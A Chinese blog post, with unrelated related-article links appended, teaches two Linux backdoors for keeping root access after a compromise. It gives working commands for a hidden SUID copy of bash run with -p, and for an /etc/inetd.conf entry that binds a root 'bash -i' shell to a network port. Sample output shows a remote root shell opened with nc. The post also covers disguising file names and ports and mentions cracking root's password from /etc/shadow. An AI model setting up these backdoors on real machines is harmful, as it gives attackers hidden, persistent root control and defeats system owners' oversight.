LINUX的两种后门总结(suid shell与inetd)
前提:
你现在已经是root用户, 想留一个后门以便日后再一次进入。
系统环境:
1 |
dawg:~# uname -a |
2 |
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux |
1. SUID shell
关于SUID位的知识,请点这里
首先, 先切换成为root用户,并执行以下的命令:
1 |
dawg:~# cp /bin/bash /.woot |
2 |
dawg:~# chmod 4755 /.woot |
3 |
dawg:~# ls -al /.woot |
4 |
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot |
当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .
现在,做为一个普通用户,我们来启用这个后门:
1 |
fw@dawg:~$ id |
2 |
uid=1000(fw) gid=1000(fw) groups=1000(fw) |
3 |
fw@dawg:~$ /.woot |
4 |
.woot-2.05b$ id |
5 |
uid=1000(fw) gid=1000(fw) groups=1000(fw) |
6 |
.woot-2.05b$ |
法克!为什么不行呢?
因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:
1 |
.woot-2.05b$ /.woot -p |
2 |
.woot-2.05b# id |
3 |
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw) |
使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里)
这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。
小知识:
如何查找那些具有 SUID 的文件:
1 |
dawg:~# find / -perm +4000 -ls |
这时就会返回具有SUID位的文件啦。
2. 远程后门:利用 /etc/inetd.conf
我们使用vi来修改 /etc/inetd.conf 文件
原文件:
1 |
#chargen dgram udp wait root internal |
2 |
#discard stream tcp nowait root internal |
3 |
#discard dgram udp wait root internal |
4 |
#daytime stream tcp nowait root internal |
修改为:
1 |
#discard stream tcp nowait root internal |
2 |
#discard dgram udp wait root internal |
3 |
daytime stream tcp nowait root /bin/bash bash -i |
开启inetd:
1 |
dawg:~# inetd |
如果要强制重启inetd:
1 |
dawg:~# ps -ef | grep inetd |
2 |
root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd |
3 |
root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd |
4 |
dawg:~# kill -HUP 362 |
现在我们就可以用nc来搞定:
01 |
C:tools<nc -vv 192.168.1.77 13 |
02 |
192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA |
03 |
(UNKNOWN) [192.168.1.77] 13 (daytime) open |
04 |
05 |
bash: no job control in this shell |
06 |
bash-2.05b# bash-2.05b# |
07 |
bash-2.05b# id |
08 |
uid=0(root) gid=0(root) groups=0(root) |
09 |
bash-2.05b# uname -a |
10 |
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux |
小贴士:
我们来一招更厉害的:
我们可以修改/etc/services文件,加入以下的东西:
1 |
woot 6666/tcp #evil backdoor service |
然后修改/etc/inetd.conf :
1 |
woot stream tcp nowait root /bin/bash bash -i |
我们可以修改成一些常见的端口,以实现隐藏。
其实 /etc/shadow文件,爆破root的密码才最保险啊!
LINUX的两种后门总结(suid shell与inetd)的更多相关文章
- linux 的 两种磁盘扩容
当LVM分区空间不足的时候,可以进行扩容.主要的扩容方法有两种: 通过空余的磁盘进行扩容,这个方法比较简单,不会对原有数据有影响.将其他LVM分区空间取出一部分给需要扩容的LVM分区.下面就分别具体介 ...
- Linux上两种网络连接方式
模式一:NAT方式好处:路由器更换,或者交换机更换,网络仍然可以使用,所用使用最多 准备工作: 查看VMware服务器启动情况,五个全开模式 vmnet8开启模式 1 配置VMware交换机的ip地址 ...
- [ 总结 ] Linux下两种常用的双网卡绑定
1. mode=0 (round-robin) 链路聚合:将两个或者更多数据信道结合成一个单一的信道,该信道以一个更高带宽的逻辑链路出现,链路聚合一般用来连接一个或多个带宽需求量大的设备,链路聚合是指 ...
- 两种“新型”的javaweb后门(jspx和Java Logger)
利用这个可以突破st2下 强制jsp跳转login.jsp 利用jspx解决jsp后缀被限制拿shell - Hack Blog | 黑客博客http://www.hackblog.cn/post ...
- Linux下安装mysql(yum和源码编译两种方式)
这里介绍Linux下两种安装mysql的方式:yum安装和源码编译安装. 1. yum安装 (1)首先查看centos自带的mysql是否被安装: # yum list installed |grep ...
- Linux系统中存储设备的两种表示方法
转:https://blog.csdn.net/holybin/article/details/38637381 一.对于IDE接口的硬盘的两种表示方法: 1.IDE接口硬盘,对于整块硬盘的两种表示方 ...
- Linux中的两种守护进程stand alone和xinetd
Linux中的两种守护进程stand alone和xinetd --http://www.cnblogs.com/itech/archive/2010/12/27/1914846.html#top 一 ...
- Linux安装MySQL的两种方法
转载:http://blog.csdn.net/superchanon/article/details/8546254/ 1. 运行平台:CentOS 6.3 x86_64,基本等同于RH ...
- 云服务器 ECS Linux 服务器修改时区的两种方式
在云服务器 ECS Linux 系统中,以 Centos6.5 为例,可以通过如下两种方式,修改系统时区: 可以使用命令 tzselect,修改时区.操作示例: [root@localhost ~]# ...
随机推荐
- [转]CodeSmith和PowerDesigner的使用安装和数据库创建
最近要忙期考,但还是决定每天抽点空来写CodeSmith的系列文章了,在此实在不敢用教程这个词语,毕竟自己对CodeSmith了解的也不是很多,有很多牛人都在博客园发布了不少关于CodeSmith的文 ...
- C#获取枚举描述代码
public class MusterEnum { /// 获取枚举的描述信息 /// </summary> /// <param name="e">传入枚 ...
- 大前端时代已经到来!传智播客2015之WEB前端视频教程(全套教程共15G)
大前端时代已经到来!传智播客2015之WEB前端视频教程(全套教程共15G)大前端时代已经到来!如今,前端开发工程师的职责,不是只有切图.制作网页这么简单哦! G:\传智播客2015-WEB前端视频教 ...
- 使用iScroll实现上拉或者下拉刷新
上拉或者下拉刷新的需求在移动端是非常常见的需求,大部分情况下,实现这个效果都使用网上现有的解决方案,例如有人使用swiper这个插件, 也有人使用iScroll这个滚动插件.本文的示例是利用iscro ...
- HoloLens开发手记 - Unity之Gestures手势识别
手势识别是HoloLens交互的重要输入方法之一.HoloLens提供了底层API和高层API,可以满足不同的手势定制需求.底层API能够获取手的位置和速度信息,高层API则借助手势识别器来识别预设的 ...
- IText&Html2canvas js截图 绘制 导出PDF
Html2canvas JS截图 HTML <div id="divPDF"> 需要截图的区域 </div> JS <script src=" ...
- IT男的”幸福”生活"续5
各位哥们姐妹们,好,嗯,好.很多回复还是提到[IT男的”幸福”生活"]是小说来着剧情不真实,我还是免为其难的说一下吧.是真的回忆录,具体的事情都有.人也是真实的.在这里还是谢谢,这几天一直关 ...
- Java server数据之(4):Redis鸟瞰
Redis简介 Redis是NoSQL数据库中的一种,属于key-value键值对这一个子类别. 它常被称作是一款数据结构服务器(data structure server). Redis中的数据结构 ...
- Linux下高频命令分类辑录(基本使用篇)
本文目的:总结linux下常用命令的基本使用方法 文件权限: 文档权限设置命令:chmod 数字模式: 文档权限由-rwxrwxrwx十个字符组成,其中第一个代表文档类型,后面九个字符按照顺序分为三组 ...
- Bootstrap系列 -- 28. 下拉菜单状态
下拉菜单项的默认的状态(不用设置)有悬浮状态(:hover)和焦点状态(:focus). 下拉菜单项除了上面两种状态,还有当前状态(.active)和禁用状态(.disabled).这两种状态使用方法 ...